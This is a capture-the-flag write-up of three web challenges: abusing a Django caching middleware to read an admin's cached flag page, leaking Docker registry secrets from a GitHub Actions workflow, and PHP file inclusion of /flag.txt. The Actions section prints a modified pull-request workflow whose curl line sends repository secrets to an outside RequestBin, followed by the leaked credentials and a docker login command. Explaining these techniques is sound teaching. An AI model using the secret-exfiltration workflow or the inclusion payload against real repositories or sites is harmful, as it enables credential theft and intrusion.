web / cache
Solved with help from: Will Green (Ducky)
Challenge Description
Arrogant Shou thinks Django is the worst web framework and decided to use it like Flask. To support some business logics, he developed some middlewares and added to the Flask-ish Django. One recent web app he developed with this is to display flag to admins. Help us retrieve the flag :)
This challenge requires user interaction. Send your payload to uv.ctf.so
Host 1 (San Francisco): cache.sf.ctf.so
Host 2 (Los Angeles): cache.la.ctf.so
Host 3 (New York): cache.ny.ctf.so
Host 4 (Singapore): cache.sg.ctf.so
Tags: Troll
Initial Thoughts
Before looking at the source code, we can attempt to navigate to the site:
Interesting, debug mode appears to be enabled. Not exactly a vulnerability, but its nice to have.
Let’s try /index
:
And /flag
:
This is about what we expected. Just navigating to /flag
on our own shouldn’t be possible anyway… or should it?
Source Code
Upon initial inspection, it looked like all we needed to focus on was in the cache/
directory in the source code.
The wsgi.py file seemed to be the main program running the whole server. It didn’t really tell us too much about how we should go about exploiting the service, though:
1
2
3
4
import os
from django.core.wsgi import get_wsgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cache.settings')
application = get_wsgi_application()
The same went for the asgi.py file:
1
2
3
4
import os
from django.core.asgi import get_asgi_application
os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'cache.settings')
application = get_asgi_application()
Both, however, referenced cache.settings
, which would be the settings.py file:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
from pathlib import Path
BASE_DIR = Path(__file__).resolve().parent.parent
SECRET_KEY = 'django-insecure-p*sk-&$*0qb^j3@_b07a38kzus7d^&)-elk6rmoh1&__6yv^bf'
DEBUG = True
ALLOWED_HOSTS = ["*"]
INSTALLED_APPS = []
MIDDLEWARE = [
'cache.cache_middleware.SimpleMiddleware',
]
ROOT_URLCONF = 'cache.urls'
TEMPLATES = []
WSGI_APPLICATION = 'cache.wsgi.application'
DATABASES = {}
LANGUAGE_CODE = 'en-us'
TIME_ZONE = 'UTC'
USE_I18N = True
USE_L10N = True
USE_TZ = True
STATIC_URL = '/static/'
DEFAULT_AUTO_FIELD = 'django.db.models.BigAutoField'
Here, we can see where the server has DEBUG = True
, which is why we were seeing the Django debug screen earlier. The SECRET_KEY
is really only used for hashing, which, spoiler alert, doesn’t occur in this project.
The main items to focus on here are ROOT_URLCONF
and MIDDLEWARE
.
ROOT_URLCONF
points to urls.py, which contains the following snippet:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
FLAG = os.getenv("FLAG")
ADMIN_TOKEN = os.getenv("ADMIN_TOKEN")
def flag(request: HttpRequest):
token = request.COOKIES.get("token")
print(token, ADMIN_TOKEN)
if not token or token != ADMIN_TOKEN:
return HttpResponse("Only admin can view this!")
return HttpResponse(FLAG)
def index(request: HttpRequest):
return HttpResponse("Not thing here, check out /flag.")
urlpatterns = [
re_path('index', index),
re_path('flag', flag)
]
We can see the two allowed URLs, flag
and index
, and their associated code. index
doesn’t seem to do anything special and it looks like we have to be an admin to get anything useful from flag
. There also do not seem to be any glaring errors in flag()
that would allow for any sort of bypass.
Note: The re_path(str, function)
call processes str
as a regex string. Since there are no beginning and end characters in the flag
and index
regex strings, as long as the word flag
or index
are in a path, the url will resolve accordingly. This means that a request to /aaaaaaaaindexaaaaa
will send a user to /index
.
Next, we turn to the MIDDLEWARE
attribute in settings.py, which seems to point to a class called SimpleMiddleware
in cache_middleware.py, as seen in the below snippet:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
CACHE = {} # PATH => (Response, EXPIRE)
class SimpleMiddleware:
def __init__(self, get_response):
self.get_response = get_response
def __call__(self, request: HttpRequest):
path = urllib.parse.urlparse(request.path).path
if path in CACHE and CACHE[path][1] > time.time():
return CACHE[path][0]
is_static = path.endswith(".css") or path.endswith(".js") or path.endswith(".html")
response = self.get_response(request)
if is_static:
CACHE[path] = (response, time.time() + 10)
return response
Middleware, as defined in Django’s documentation, can hook a request to a page and run before the original request code is processed, while also handling the reponse data from the request.
In this case, before the code in urls.py for flag
and index
are run, the __call__()
method is invoked.
It appears as though the __call__()
method grabs the path of the URL, and checks if it is used as a key in the CACHE
dictionary. If the entry exists, it gets the key value, which seems to be an expiration time, and checks if it has passed. In the case that the expiration time is still not up, the response to the user will be returned from the original response stored in the CACHE
, skipping the actual page code in urls.py completely.
To even be added to the CACHE
in the first place, the URL must end with .css
, .js
, or .html
. Once the response is added, it is available for 10 seconds.
Solution
The plan of attack is simple.
We can use the admin link checker provided in the description (uv.ctf.so) to have the admin visit the /flag.[html/css/js]
URL, thus triggering the cache. Then, we can visit it a few seconds later on our local machine to get the cached version before the expiration time or 10 seconds is reached.
Because other people are probably hitting /flag.[html/css/js]
lot, we will be better off using a unique URL. Because of the earlier note about re_path(str, function)
, we know that as long as the word flag
is in the URL, the page will load.
We first have the admin at uv.ctf.so visit the page http://cache.sf.ctf.so/flagasdfgblah.html
.
After about 5 seconds have passed, we are able to get the flag from the cache!
Flag: we{adecbd5c-a02c-4d85-883e-caee34760745@b3TTer_u3e_cl0uDF1are}
web / github
Challenge Description
We’ve heard Shou, except from his server, also loves Docker containers. You have gained Shou’s trust and asked to help him further develop his project. We task you to spy on him and retrieve his beloved container. Get yourself added to his GitHub repo here (http://github.ctf.so/)
Note: Container is of name “flag”
Hint: https://docs.docker.com/docker-hub/access-tokens/
Tags: Troll
Setup
Upon clicking the http://github.ctf.so/ link, we were presented with a page asking for our GitHub username to be added to a project as a contributor. I entered my username, dayt0n and then received an email asking if I wanted to become a collaborator:
Once the invitation was accepted, we were granted access to the repo:
Solution
The README.md
file describes the repo as “A really welcoming repo that greets you when you do pull request.”
GitHub Actions are a tool within GitHub to automate certain processes when a condition is met. In this instance, it looks like the repo runs an Action each time a pull request is done.
The Actions for this repo can be viewed in the .github/workflows
directory. Two files appear in this directory, pr.yml
and docker.yml
.
pr.yml
has the following contents:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
name: Say Hi
on: [pull_request]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@v2
- name: Say Hi
run: |
echo "hi!!"
So it looks like this file is the one that runs on every pull request. The only command that is executed is the echo
command that greets the user.
docker.yml has some more interesting data:
1
2
3
4
5
6
7
8
9
10
11
12
13
name: Publish Docker
on: [release]
jobs:
build:
runs-on: ubuntu-latest
steps:
- uses: actions/checkout@master
- name: Publish to Registry
uses: elgohr/Publish-Docker-Github-Action@master
with:
name: wectfchall/poop
username: $
password: $
It looks like on every new release for the GitHub repo, the image is published to the official Docker registry here using credentials stored in GitHub encrypted secrets.
GitHub encrypted secrets “allow you to store sensitive information in your organization, repository, or repository environments” (https://docs.github.com/en/actions/reference/encrypted-secrets).
Knowing this, the plan of attack looks like we just need to leak the $
and $
variables to the output of the Action. To do this, all that is needed is to fork the repo and modify the echo "hi!!"
command in pr.yml
using the following data:
1
2
3
4
- uses: actions/checkout@v2
- name: Say Hi
run: |
echo "$ : $"
Now, all that is left is to make a commit to the forked repo and initiate a pull request to the original repo.
Then, we can just view the Actions console to see the…
So that didn’t work out as planned.
After taking a closer look at the GitHub Encrypted Secrets documentation, a giant red warning became apparent:
This explains why the output was censored. That is no issue though, since we can just exfiltrate the data using a curl
request to a RequestBin.
pr.yml job is changed to:
1
2
3
4
- uses: actions/checkout@v2
- name: Say Hi
run: |
curl "https://requestbin.io/1jur7g91?username=$&password=$"
After adding the changes to the previous pull request, the result of the curl
command can be seen on the RequestBin:
Docker credentials:
- username:
wectfchall
- password:
c3f6a063-4cff-442e-81d7-1febe6d94cea
To pull the flag
container, we must first login as wectfchall
within the docker command-line application using the following command:
1
$ docker login --username wectfchall --password c3f6a063-4cff-442e-81d7-1febe6d94cea
Finally, the flag
container can be pulled and run using:
1
$ docker run -it wectfchall/flag
Flag: we{a007761c-c4cb-47f4-9d6c-c194f3168302@G4YHub_Ac7i0n_3ucks}
web / include
Challenge Description
Yet another buggy PHP website.
Flag is at /flag.txt on filesystem
Host 1 (San Francisco): include.sf.ctf.so
Host 2 (Los Angeles): include.la.ctf.so
Host 3 (New York): include.ny.ctf.so
Host 4 (Singapore): include.sg.ctf.so
Tags: Easy
, PHP
Solution
After navigating to the site, we are presented with this page:
After taking a look at the documentation for PHP’s include
directive, we see that it takes an argument in the form of a file path. The file is then evaluated.
Here, the solution ended up being very simple.
Because the flag file existed at /flag.txt
, we could force the PHP file to include it by specifying the URL parameter http://include.sf.ctf.so/?🤯=/flag.txt
. Since there is presumably no code to evaluate at /flag.txt
, all the program knows to do is to print out what it finds:
Flag: we{695ed01b-3d31-46d7-a4a3-06b744d20f4b@1nc1ud3_/etc/passwd_yyds!}